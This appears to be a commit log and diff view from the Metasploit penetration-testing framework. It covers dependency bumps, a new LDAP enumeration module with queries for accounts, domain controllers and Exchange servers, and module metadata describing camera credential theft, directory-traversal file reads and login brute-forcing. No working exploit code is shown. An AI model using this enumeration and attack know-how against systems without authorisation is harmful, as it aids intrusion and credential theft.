Metasploit e1bb088ddb automatic module_metadata_base.json update 2022-07-19 09:31:40 -05:00
adfoster-r7 f02012a8ee Add openssl version to debug command 2022-07-19 15:26:05 +01:00
PazFi 28c3dd5739 A SCADA scanner module for BACnet protocol.
The scanner discovers BACnet devices on the network by broadcasting
Who-is packets, extracts model name, software version, firmware
revision and description from the discovered devices by sending
specific read-property packets. After parsing the data the module saves
it to a local xml file.
Because devices can be nested, every address can have multiple devices.
2022-07-19 17:02:35 +03:00
Spencer McIntyre ebb15ee9e7 Land #16598, Add in LDAP Query Module 2022-07-19 09:51:00 -04:00
bwatters e3e6afbaa3 Land #16753, ms03_007_ntdll_webdav: Cleanup and add additional offsets
Merge branch 'land-16753' into upstream-master
2022-07-19 08:48:06 -05:00
Spencer McIntyre 2eaccd657f Use an OptPath for QUERY_FILE_PATH
This adds tab completion and an extra check to make sure it exists.
2022-07-19 09:48:03 -04:00
Grant Willcox dcd4caf977 Remove excess error handling that was causing issues 2022-07-19 08:10:53 -05:00
Spencer McIntyre c388499acf Suggest a correct datastore option 2022-07-18 09:32:45 -04:00
Metasploit f043b121b3 automatic module_metadata_base.json update 2022-07-16 17:26:03 -05:00
Jack Heysel 2af8042bfa Land #16761, clean up ms01_023_printer
Adds additional offsets for various Windows 2000 targets.
Replaces raw socket TCP with HttpClient. This works fine in testing.
Fixes default payload, adds docs and notes.
2022-07-16 17:56:59 -04:00
Jack Heysel 5fd4c6c306 Land #16754, fix merge conflicts 2022-07-16 17:43:27 -04:00
jheysel-r7 adecb0d94b Merge branch 'master' into ms02_065_msadc 2022-07-16 17:26:23 -04:00
Metasploit e7e3ea1a31 automatic module_metadata_base.json update 2022-07-16 16:06:17 -05:00
Jack Heysel 77be219bc2 Land #16754, add offsets to ms02_065
Adds additional offsets for various Windows 2000
Professional targets, adds  docs, fixes default
payload and resolves rubocop violations.
2022-07-16 16:43:47 -04:00
bcoles 00444a6e62 Deprecate checkvm script 2022-07-16 18:40:32 +10:00
bcoles 1dcfc3406a Add Rex::Exploitation::CmdStagerFtpHttp to Msf::Exploit::CmdStager 2022-07-16 18:10:28 +10:00
Ron Bowes 304d717757 Make the path-traversal depth configurable 2022-07-15 15:41:27 -07:00
Ron Bowes 7468f6ecd8 Remove JAVA Arch 2022-07-15 15:35:14 -07:00
Spencer McIntyre 25f50e607c Reduce code, be more permissive
This makes a few changes that should enable the module to function
better should it be dropped into a fresh MSF installation on its own.
2022-07-15 16:29:17 -05:00
Grant Willcox 2a8d95c121 Default to having a near empty custom file so that we can still update the default queries without issues vs preventing updates from occuring. If users want to override the defaults, then they accept the risk of not getting updates. Update documentation to also note this. 2022-07-15 16:29:12 -05:00
Grant Willcox 1e05630d26 Make sure that we load ACTIONs from the user's custom file at startup if they have changed anything or added any new ACTIONs 2022-07-15 16:29:12 -05:00
Grant Willcox 2d1acc0369 Refactor code and also add in proper fail_with error codes where needed. Also fix up module and documentation descriptions to be a bit clearer. 2022-07-15 16:29:01 -05:00
Grant Willcox 03ebbaf2d0 Add in RUN_SINGLE_QUERY and associated options, and then update the code and documentation accordingly. This will allow users to run single queries with associated attribute filters if they want to test out single queries at a time without changing YAML files 2022-07-15 16:29:00 -05:00
Grant Willcox 67cf39f4b9 Update documentation to include RUN_QUERY_FILE example. 2022-07-15 16:28:55 -05:00
Grant Willcox 32e5884589 Update error description to be more helpful when debugging. Also update DefaultAction to default to first entry in the list or RUN_QUERY_FILE if no other action is available 2022-07-15 16:28:50 -05:00
Grant Willcox c5f2507ee0 Fix up usage of the word columns where attributes was more appropriate. Also update the multi query logic to match new data format as it was broken before as a result of changes to file format. Finally remove extra parameters that are no longer needed. 2022-07-15 16:28:43 -05:00
Grant Willcox 8c236e789e Rename files to follow proper format. Add in documentation for examples. Then update code so we use Msf::Config.get_config_root to store the config file that we parse to get the actions outside of a Git tracked location. We will still use the default file to populate this non-git tracked location if its not already populated though. 2022-07-15 16:28:43 -05:00
Grant Willcox 3c56e272a1 Remove default actions and move them to default.yaml, then update code accordingly. Also update the initialization code so it will now load the possible actions dynamically from default.yaml. 2022-07-15 16:28:37 -05:00
Grant Willcox 438b4b1bf8 Rework the logic for output and make it a lot neater. Also redo the query logic thanks to help from Alan David Foster so the query itself will specify what fields we need vs us having to manually filter this out later on. Makes it a lot quicker and easier to work with 2022-07-15 16:28:31 -05:00
Grant Willcox 2a1a8aa632 Add in CSV reporting formatting thanks to some help from Alan David Foster 2022-07-15 16:28:30 -05:00
Grant Willcox d4809219b9 Add in JSON output option 2022-07-15 16:28:23 -05:00
Grant Willcox 515bfd296e Add in YAML query file implementation 2022-07-15 16:28:23 -05:00
Grant Willcox 65b9e1cb13 Push initial copy of work up 2022-07-15 16:27:56 -05:00
Ron Bowes 6f33ddd867 Remove a broken error check 2022-07-15 13:49:56 -07:00
Ron Bowes 5f3268eae7 Fix the Arch 2022-07-15 13:46:49 -07:00
Ron Bowes 5257de67f9 Style fixes 2022-07-15 13:43:46 -07:00
adfoster-r7 1b5e172f29 Land #16772, Add FtpHttp command stager - bump rex-exploitation gem from 0.1.31 to 0.1.33 2022-07-15 09:55:21 +01:00
space-r7 f8101aa8e4 bump rex-exploitation gem from 0.1.31 to 0.1.33 2022-07-14 17:23:49 -05:00
Metasploit fde4d4ae22 Bump version of framework to 6.2.8 2022-07-14 12:09:54 -05:00
bcoles 59685f82f8 ms02_065_msadc: Cleanup and add additional offsets 2022-07-15 00:15:56 +10:00
Ron Bowes 56dd61027f Rubocop 2022-07-08 10:38:42 -07:00
Ron Bowes 8090fdb273 Re-order authors 2022-07-08 10:27:41 -07:00
Ron Bowes 67c60c9c5f Specify the vulnerable version 2022-07-08 10:27:25 -07:00
Ron Bowes bcd4b6e49f Better name 2022-07-08 10:26:09 -07:00
Ron Bowes 9685bc4bc3 Use flat_map instead of map().flatten 2022-07-08 10:25:10 -07:00
Ron Bowes 134ce0d7bd Make the FTP server more realistic, and remove Timeout 2022-07-08 10:21:58 -07:00
bcoles 83bc954e9d ms01_023_printer: cleanup; use HttpClient; add additional targets 2022-07-09 01:36:10 +10:00
Ron Bowes 46b5092be4 Make Rubocop happy, and improve error handling 2022-07-07 16:07:10 -07:00
Ron Bowes 3a9feac1cf Finish up the first draft of the module, which seems to work decently 2022-07-07 14:22:37 -07:00
Ron Bowes 966d469aa5 Continuing cleanup 2022-07-07 12:57:34 -07:00
Ron Bowes f9664575c5 Working payload 2022-07-07 10:57:41 -07:00
Ron Bowes d785e90bd9 Get the full exploit working, except for a hardcoded payload 2022-07-07 09:58:07 -07:00
bcoles 3f63f9fcd1 ms02_065_msadc: Cleanup and add additional offsets 2022-07-08 00:26:02 +10:00
bcoles 7d111938d5 ms03_007_ntdll_webdav: Cleanup and add additional offsets 2022-07-07 20:31:57 +10:00
Ron Bowes fa8d109f65 Add the incomplete version of CVE-2022-28219 module to msf 2022-07-06 15:57:13 -07:00
adfoster-r7 b42654875e Fix mssql crash when using tds encryption 2022-07-04 11:41:57 +01:00
Metasploit ac4f50ebad Weekly dependency updates for Gemfile.lock 2022-07-01 10:57:29 -05:00
adfoster-r7 5bc618e642 Remove initial code duplication between mssql clients 2022-07-01 14:26:04 +01:00
3V3RYONE ef1b37f6e5 add ensure block to delete temporary test file 2022-06-23 20:51:28 +05:30
3V3RYONE 75a76a52f4 check for NOEXEC flags before creating db socket file 2022-06-23 16:50:23 +05:30
Grant Willcox d20fa45f7a Add in guard clause to check that page isn't nil before trying to use it for processing pages 2022-06-15 11:35:30 -05:00
RageLtMan 9373ab6bd3 HTTP Crawler: don't expect page object for msg
The `crawler_process_page` method in HttpCrawler assumes that the
`page` object passed into the method is not nil when formatting the
`msg` string for printing to console.
Address the assumption with a ternary check leaving the `|| "ERR"`
handling for `page.code` itself being nil inside the assignment
when page is not nil.

Testing:
 `Error accessing page undefined method '[]' for nil:NilClass` is
no longer being thrown when scanning an odd HTTP service.
2022-06-10 21:44:29 -04:00
Spencer McIntyre 318465771b Fix a typo 2022-05-24 08:44:37 -04:00
Spencer McIntyre e4947cd127 Add ownership check for testing file writability 2022-05-24 08:44:12 -04:00
Spencer McIntyre 2c323ae4db Move a library function to where it's needed 2022-05-23 12:36:07 -04:00
3V3RYONE 96e7fdb214 check if Dir.tmpdir is compatible 2022-02-21 19:17:36 +05:30
3V3RYONE 19ef3eb8aa delete extra parameter in msfdb 2022-01-25 20:24:14 +05:30
3V3RYONE f7ce4c9879 use Dir.tmpdir to simplify changes 2022-01-25 20:11:57 +05:30
3V3RYONE b9bef8bbdd make the changes work for both linux and windows 2022-01-24 00:25:25 +05:30
3V3RYONE bba97a70ed update unix_socket_directories path for psql cmds 2022-01-23 21:01:11 +05:30
3V3RYONE 061987982f change unix socket directories for pg start 2022-01-23 00:02:07 +05:30
135 changed files with 8899 additions and 5595 deletions
+1 -1
View File
@@ -172,7 +172,7 @@ jobs:
This includes:
- All of the item points within this [tempate](https://github.com/rapid7/metasploit-framework/blob/master/.github/ISSUE_TEMPLATE/bug_report.md)
- All of the item points within this [template](https://github.com/rapid7/metasploit-framework/blob/master/.github/ISSUE_TEMPLATE/bug_report.md)
- The result of the \`debug\` command in your Metasploit console
- Screenshots showing the issues you're having
- Exact replication steps
+10 -3
View File
@@ -44,7 +44,7 @@ jobs:
/usr/bin/docker-compose build
test:
runs-on: ubuntu-18.04
runs-on: ${{ matrix.os }}
timeout-minutes: 40
services:
@@ -66,8 +66,15 @@ jobs:
ruby:
- 2.6
- 2.7
- 3.0.3
- 3.1.1
- 3.0
- 3.1
os:
- ubuntu-18.04
- ubuntu-22.04
exclude:
- { os: ubuntu-22.04, ruby: 2.6 }
- { os: ubuntu-22.04, ruby: 2.7 }
- { os: ubuntu-22.04, ruby: 3.0 }
test_cmd:
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"
Executable → Regular
View File
+26 -24
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.2.7)
metasploit-framework (6.2.13)
actionpack (~> 6.0)
activerecord (~> 6.0)
activesupport (~> 6.0)
@@ -129,13 +129,13 @@ GEM
activerecord (>= 3.1.0, < 8)
ast (2.4.2)
aws-eventstream (1.2.0)
aws-partitions (1.598.0)
aws-sdk-core (3.131.1)
aws-partitions (1.602.0)
aws-sdk-core (3.131.2)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.525.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1, >= 1.6.1)
aws-sdk-ec2 (1.317.0)
aws-sdk-ec2 (1.320.0)
aws-sdk-core (~> 3, >= 3.127.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.69.0)
@@ -190,7 +190,8 @@ GEM
faraday-net_http (~> 2.0)
ruby2_keywords (>= 0.0.4)
faraday-net_http (2.0.3)
faraday-retry (1.0.3)
faraday-retry (2.0.0)
faraday (~> 2.0)
faye-websocket (0.11.1)
eventmachine (>= 0.12.0)
websocket-driver (>= 0.5.1)
@@ -233,7 +234,7 @@ GEM
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
metasploit-credential (5.0.7)
metasploit-credential (5.0.8)
metasploit-concern
metasploit-model
metasploit_data_models (>= 5.0.0)
@@ -243,7 +244,7 @@ GEM
rex-socket
rubyntlm
rubyzip
metasploit-model (4.0.4)
metasploit-model (4.0.5)
activemodel (~> 6.0)
activesupport (~> 6.0)
railties (~> 6.0)
@@ -261,9 +262,9 @@ GEM
metasploit_payloads-mettle (1.0.18)
method_source (1.0.0)
mini_portile2 (2.8.0)
minitest (5.15.0)
minitest (5.16.1)
mqtt (0.5.0)
msgpack (1.5.2)
msgpack (1.5.3)
multi_json (1.15.0)
mustermann (1.1.1)
ruby2_keywords (~> 0.0.1)
@@ -275,7 +276,7 @@ GEM
digest
net-protocol
timeout
net-ssh (6.1.0)
net-ssh (7.0.1)
network_interface (0.0.2)
nexpose (7.3.0)
nio4r (2.5.8)
@@ -283,11 +284,11 @@ GEM
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
nori (2.6.0)
octokit (4.24.0)
octokit (4.25.1)
faraday (>= 1, < 3)
sawyer (~> 0.9)
openssl-ccm (1.2.2)
openssl-cmac (2.0.1)
openssl-ccm (1.2.3)
openssl-cmac (2.0.2)
openvas-omp (0.0.4)
packetfu (1.1.13)
pcaprub
@@ -302,7 +303,7 @@ GEM
hashery (~> 2.0)
ruby-rc4
ttfunk
pg (1.3.5)
pg (1.4.1)
pry (0.13.1)
coderay (~> 1.1)
method_source (~> 1.0)
@@ -313,11 +314,11 @@ GEM
puma (5.6.4)
nio4r (~> 2.0)
racc (1.6.0)
rack (2.2.3.1)
rack (2.2.4)
rack-protection (2.2.0)
rack
rack-test (1.1.0)
rack (>= 1.0, < 3)
rack-test (2.0.2)
rack (>= 1.3)
rails-dom-testing (2.0.3)
activesupport (>= 4.2.0)
nokogiri (>= 1.6)
@@ -351,7 +352,7 @@ GEM
metasm
rex-arch
rex-text
rex-exploitation (0.1.31)
rex-exploitation (0.1.33)
jsobfu
metasm
rex-arch
@@ -376,7 +377,7 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.39)
rex-socket (0.1.40)
rex-core
rex-sslscan (0.1.7)
rex-core
@@ -411,7 +412,8 @@ GEM
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.11.0)
rubocop (1.30.1)
rubocop (1.31.1)
json (~> 2.3)
parallel (~> 1.10)
parser (>= 3.1.0.0)
rainbow (>= 2.2.2, < 4.0)
@@ -427,7 +429,7 @@ GEM
ruby-progressbar (1.11.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.1.6)
ruby_smb (3.1.7)
bindata
openssl-ccm
openssl-cmac
@@ -449,7 +451,7 @@ GEM
rack (~> 2.2)
rack-protection (= 2.2.0)
tilt (~> 2.0)
sqlite3 (1.4.2)
sqlite3 (1.4.4)
sshkey (2.0.0)
swagger-blocks (3.0.0)
thin (1.8.1)
@@ -468,7 +470,7 @@ GEM
unf (0.1.4)
unf_ext
unf_ext (0.0.8.2)
unicode-display_width (2.1.0)
unicode-display_width (2.2.0)
unix-crypt (1.3.0)
warden (1.2.9)
rack (>= 2.0.9)
@@ -494,7 +496,7 @@ GEM
webrick
yard (0.9.28)
webrick (~> 1.7.0)
zeitwerk (2.5.4)
zeitwerk (2.6.0)
PLATFORMS
ruby
+23 -23
View File
@@ -10,9 +10,9 @@ afm, 0.2.2, MIT
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.598.0, "Apache 2.0"
aws-sdk-core, 3.131.1, "Apache 2.0"
aws-sdk-ec2, 1.317.0, "Apache 2.0"
aws-partitions, 1.602.0, "Apache 2.0"
aws-sdk-core, 3.131.2, "Apache 2.0"
aws-sdk-ec2, 1.320.0, "Apache 2.0"
aws-sdk-iam, 1.69.0, "Apache 2.0"
aws-sdk-kms, 1.57.0, "Apache 2.0"
aws-sdk-s3, 1.114.0, "Apache 2.0"
@@ -44,7 +44,7 @@ factory_bot_rails, 6.2.0, MIT
faker, 2.21.0, MIT
faraday, 2.3.0, MIT
faraday-net_http, 2.0.3, MIT
faraday-retry, 1.0.3, MIT
faraday-retry, 2.0.0, MIT
faye-websocket, 0.11.1, "Apache 2.0"
ffi, 1.15.5, "New BSD"
filesize, 0.2.0, MIT
@@ -69,32 +69,32 @@ loofah, 2.18.0, MIT
memory_profiler, 1.0.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 4.0.4, "New BSD"
metasploit-credential, 5.0.7, "New BSD"
metasploit-framework, 6.2.7, "New BSD"
metasploit-model, 4.0.4, "New BSD"
metasploit-credential, 5.0.8, "New BSD"
metasploit-framework, 6.2.13, "New BSD"
metasploit-model, 4.0.5, "New BSD"
metasploit-payloads, 2.0.94, "3-clause (or ""modified"") BSD"
metasploit_data_models, 5.0.5, "New BSD"
metasploit_payloads-mettle, 1.0.18, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.8.0, MIT
minitest, 5.15.0, MIT
minitest, 5.16.1, MIT
mqtt, 0.5.0, MIT
msgpack, 1.5.2, "Apache 2.0"
msgpack, 1.5.3, "Apache 2.0"
multi_json, 1.15.0, MIT
mustermann, 1.1.1, MIT
nessus_rest, 0.1.6, MIT
net-ldap, 0.17.1, MIT
net-protocol, 0.1.3, "ruby, Simplified BSD"
net-smtp, 0.3.1, "ruby, Simplified BSD"
net-ssh, 6.1.0, MIT
net-ssh, 7.0.1, MIT
network_interface, 0.0.2, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.5.8, MIT
nokogiri, 1.13.6, MIT
nori, 2.6.0, MIT
octokit, 4.24.0, MIT
openssl-ccm, 1.2.2, MIT
openssl-cmac, 2.0.1, MIT
octokit, 4.25.1, MIT
openssl-ccm, 1.2.3, MIT
openssl-cmac, 2.0.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
parallel, 1.22.1, MIT
@@ -102,15 +102,15 @@ parser, 3.1.2.0, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.1, LGPL-2.1
pdf-reader, 2.10.0, MIT
pg, 1.3.5, "Simplified BSD"
pg, 1.4.1, "Simplified BSD"
pry, 0.13.1, MIT
pry-byebug, 3.9.0, MIT
public_suffix, 4.0.7, MIT
puma, 5.6.4, "New BSD"
racc, 1.6.0, "ruby, Simplified BSD"
rack, 2.2.3.1, MIT
rack, 2.2.4, MIT
rack-protection, 2.2.0, MIT
rack-test, 1.1.0, MIT
rack-test, 2.0.2, MIT
rails-dom-testing, 2.0.3, MIT
rails-html-sanitizer, 1.4.3, MIT
railties, 6.1.6, MIT
@@ -125,7 +125,7 @@ rex-arch, 0.1.14, "New BSD"
rex-bin_tools, 0.1.8, "New BSD"
rex-core, 0.1.28, "New BSD"
rex-encoder, 0.1.6, "New BSD"
rex-exploitation, 0.1.31, "New BSD"
rex-exploitation, 0.1.33, "New BSD"
rex-java, 0.1.6, "New BSD"
rex-mime, 0.1.7, "New BSD"
rex-nop, 0.1.2, "New BSD"
@@ -134,7 +134,7 @@ rex-powershell, 0.1.96, "New BSD"
rex-random_identifier, 0.1.8, "New BSD"
rex-registry, 0.1.4, "New BSD"
rex-rop_builder, 0.1.4, "New BSD"
rex-socket, 0.1.39, "New BSD"
rex-socket, 0.1.40, "New BSD"
rex-sslscan, 0.1.7, "New BSD"
rex-struct2, 0.1.3, "New BSD"
rex-text, 0.2.38, "New BSD"
@@ -148,14 +148,14 @@ rspec-mocks, 3.11.1, MIT
rspec-rails, 5.1.2, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.11.0, MIT
rubocop, 1.30.1, MIT
rubocop, 1.31.1, MIT
rubocop-ast, 1.18.0, MIT
ruby-macho, 3.0.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.11.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.1.6, "New BSD"
ruby_smb, 3.1.7, "New BSD"
rubyntlm, 0.6.3, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.9.2, MIT
@@ -163,7 +163,7 @@ simplecov, 0.18.2, MIT
simplecov-html, 0.12.3, MIT
simpleidn, 0.2.1, MIT
sinatra, 2.2.0, MIT
sqlite3, 1.4.2, "New BSD"
sqlite3, 1.4.4, "New BSD"
sshkey, 2.0.0, MIT
swagger-blocks, 3.0.0, MIT
thin, 1.8.1, "GPL-2.0+, ruby"
@@ -176,7 +176,7 @@ tzinfo, 2.0.4, MIT
tzinfo-data, 1.2022.1, MIT
unf, 0.1.4, "2-clause BSDL"
unf_ext, 0.0.8.2, MIT
unicode-display_width, 2.1.0, MIT
unicode-display_width, 2.2.0, MIT
unix-crypt, 1.3.0, BSD
warden, 1.2.9, MIT
webrick, 1.7.0, "ruby, Simplified BSD"
@@ -188,4 +188,4 @@ winrm, 2.3.6, "Apache 2.0"
xdr, 3.0.3, "Apache 2.0"
xmlrpc, 0.3.2, "ruby, Simplified BSD"
yard, 0.9.28, MIT
zeitwerk, 2.5.4, MIT
zeitwerk, 2.6.0, MIT
+14
View File
@@ -0,0 +1,14 @@
openssl_conf = openssl_init
[openssl_init]
providers = provider_sect
[provider_sect]
default = default_sect
legacy = legacy_sect
[default_sect]
activate = 1
[legacy_sect]
activate = 1
@@ -0,0 +1,98 @@
---
queries:
- action: ENUM_ALL_OBJECT_CLASS
description: 'Dump all objects containing any objectClass field.'
filter: '(objectClass=*)'
attributes:
- dn
- objectClass
- action: ENUM_ALL_OBJECT_CATEGORY
description: 'Dump all objects containing any objectCategory field.'
filter: '(objectCategory=*)'
attributes:
- dn
- objectCategory
- action: ENUM_ACCOUNTS
description: 'Dump info about all known user accounts in the domain.'
filter: '(|(objectClass=organizationalPerson)(sAMAccountType=805306368))'
attributes:
- dn
- name
- displayName
- samAccountName
- userPrincipalName
- userAccountControl
- homeDirectory
- homeDrive
- profilePath
- action: ENUM_COMPUTERS
description: 'Dump all objects containing an objectCategory of Computer.'
filter: '(objectCategory=Computer)'
attributes:
- dn
- displayName
- distinguishedName
- dNSHostName
- description
- givenName
- name
- operatingSystemVersion
- operatingSystemServicePack
- action: ENUM_DOMAIN_CONTROLLERS
description: 'Dump all known domain controllers.'
filter: '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
attributes:
- dn
- displayName
- distinguishedName
- dNSHostName
- description
- givenName
- name
- operatingSystemVersion
- operatingSystemServicePack
- action: ENUM_EXCHANGE_SERVERS
description: 'Dump info about all known Exchange servers.'
filter: '(&(objectClass=msExchExchangeServer)(!(objectClass=msExchExchangeServerPolicy)))'
attributes:
- dn
- displayName
- distinguishedName
- dNSHostName
- description
- givenName
- name
- operatingSystemVersion
- operatingSystemServicePack
- action: ENUM_EXCHANGE_RECIPIENTS
description: 'Dump info about all known Exchange recipients.'
filter: '(|(mailNickname=*)(proxyAddresses=FAX:*))'
attributes:
- dn
- mailNickname
- proxyAddresses
- name
- action: ENUM_GROUPS
description: 'Dump info about all known groups in the LDAP environment.'
filter: '(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup))'
attributes:
- dn
- name
- groupType
- memberof
- action: ENUM_ORGUNITS
description: 'Dump info about all known organizational units in the LDAP environment.'
filter: '(objectClass=organizationalUnit)'
attributes:
- dn
- displayName
- name
- description
- action: ENUM_ORGROLES
description: 'Dump info about all known organization roles in the LDAP environment.'
filter: '(objectClass=organizationalRole)'
attributes:
- dn
- displayName
- name
- description
@@ -0,0 +1,8 @@
---
queries:
# - action: SAMPLE_ACTION
# description: 'A description.'
# filter: '(objectClass=*)'
# attributes:
# - dn
# - objectClass
+2
View File
@@ -0,0 +1,2 @@
$someText = "Hello!" ; $someText > "C:\flag.txt"
+1043 -38
View File
@@ -570,7 +570,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2021-02-16 13:56:50 +0000",
"mod_time": "2022-08-03 14:27:30 +0000",
"path": "/modules/auxiliary/admin/dcerpc/cve_2020_1472_zerologon.rb",
"is_install_path": true,
"ref_name": "admin/dcerpc/cve_2020_1472_zerologon",
@@ -580,6 +580,16 @@
"notes": {
"AKA": [
"Zerologon"
],
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
"config-changes",
"ioc-in-logs"
]
},
"session_types": false,
@@ -17166,6 +17176,65 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/cisco_pvc2300_download_config": {
"name": "Cisco PVC2300 POE Video Camera configuration download",
"fullname": "auxiliary/gather/cisco_pvc2300_download_config",
"aliases": [
],
"rank": 300,
"disclosure_date": "2013-07-12",
"type": "auxiliary",
"author": [
"Craig Heffner",
"Erik Wynter"
],
"description": "This module exploits an information disclosure vulnerability in Cisco PVC2300 cameras in order\n to download the configuration file containing the admin credentials for the web interface.\n\n The module first performs a basic check to see if the target is likely Cisco PVC2300. If so, the\n module attempts to obtain a sessionID via an HTTP GET request to the vulnerable /oamp/System.xml\n endpoint using hardcoded credentials.\n\n If a session ID is obtained, the module uses it in another HTTP GET request to /oamp/System.xml\n with the aim of downloading the configuration file. The configuration file, if obtained, is then\n decoded and saved to the loot directory. Finally, the module attempts to extract the admin\n credentials to the web interface from the decoded configuration file.\n\n No known solution was made available for this vulnerability and no CVE has been published. It is\n therefore likely that most (if not all) Cisco PVC2300 cameras are affected.\n\n This module was successfully tested against several Cisco PVC2300 cameras.",
"references": [
"URL-https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf",
"URL-https://media.blackhat.com/us-13/US-13-Heffner-Exploiting-Network-Surveillance-Cameras-Like-A-Hollywood-Hacker-Slides.pdf",
"URL-https://www.youtube.com/watch?v=B8DjTcANBx0"
],
"platform": "",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2022-08-04 11:45:36 +0000",
"path": "/modules/auxiliary/gather/cisco_pvc2300_download_config.rb",
"is_install_path": true,
"ref_name": "gather/cisco_pvc2300_download_config",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
"repeatable-session"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/cisco_rv320_config": {
"name": "Cisco RV320/RV326 Configuration Disclosure",
"fullname": "auxiliary/gather/cisco_rv320_config",
@@ -19425,6 +19494,53 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/ldap_query": {
"name": "LDAP Query and Enumeration Module",
"fullname": "auxiliary/gather/ldap_query",
"aliases": [
],
"rank": 300,
"disclosure_date": "2022-05-19",
"type": "auxiliary",
"author": [
"Grant Willcox"
],
"description": "This module allows users to query an LDAP server using either a custom LDAP query, or\n a set of LDAP queries under a specific category. Users can also specify a JSON or YAML\n file containing custom queries to be executed using the RUN_QUERY_FILE action.\n If this action is specified, then QUERY_FILE_PATH must be a path to the location\n of this JSON/YAML file on disk.\n\n Users can also run a single query by using the RUN_SINGLE_QUERY option and then setting\n the QUERY_FILTER datastore option to the filter to send to the LDAP server and QUERY_ATTRIBUTES\n to a comma seperated string containing the list of attributes they are interested in obtaining\n from the results.\n\n As a third option can run one of several predefined queries by setting ACTION to the\n appropriate value. These options will be loaded from the ldap_queries_default.yaml file\n located in the MSF configuration directory, located by default at ~/.msf4/ldap_queries_default.yaml.\n\n All results will be returned to the user in table, CSV or JSON format, depending on the value\n of the OUTPUT_FORMAT datastore option. The characters || will be used as a delimiter\n should multiple items exist within a single column.",
"references": [
],
"platform": "",
"arch": "",
"rport": 389,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2022-07-26 16:03:16 +0000",
"path": "/modules/auxiliary/gather/ldap_query.rb",
"is_install_path": true,
"ref_name": "gather/ldap_query",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
],
"Reliability": [
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/mantisbt_admin_sqli": {
"name": "MantisBT Admin SQL Injection Arbitrary File Read",
"fullname": "auxiliary/gather/mantisbt_admin_sqli",
@@ -25214,6 +25330,64 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/cassandra_web_file_read": {
"name": "Cassandra Web File Read Vulnerability",
"fullname": "auxiliary/scanner/http/cassandra_web_file_read",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Jeremy Brown",
"krastanoel"
],
"description": "This module exploits an unauthenticated directory traversal vulnerability in Cassandra Web\n 'Cassandra Web' version 0.5.0 and earlier, allowing arbitrary file read with the web server privileges.\n This vulnerability occured due to the disabled Rack::Protection module",
"references": [
"URL-https://github.com/avalanche123/cassandra-web/commit/f11e47a26f316827f631d7bcfec14b9dd94f44be",
"EDB-49362"
],
"platform": "",
"arch": "",
"rport": 3000,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2022-08-03 19:21:42 +0000",
"path": "/modules/auxiliary/scanner/http/cassandra_web_file_read.rb",
"is_install_path": true,
"ref_name": "scanner/http/cassandra_web_file_read",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"Reliability": [
],
"SideEffects": [
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/cert": {
"name": "HTTP SSL Certificate Checker",
"fullname": "auxiliary/scanner/http/cert",
@@ -25490,6 +25664,62 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_scanner/http/cisco_asa_asdm_bruteforce": {
"name": "Cisco ASA ASDM Brute-force Login",
"fullname": "auxiliary/scanner/http/cisco_asa_asdm_bruteforce",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"jbaines-r7"
],
"description": "This module scans for the Cisco ASA ASDM landing page and performs login brute-force\n to identify valid credentials.",
"references": [
"URL-https://www.cisco.com/c/en/us/products/security/adaptive-security-device-manager/index.html"
],
"platform": "",
"arch": "",
"rport": 443,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
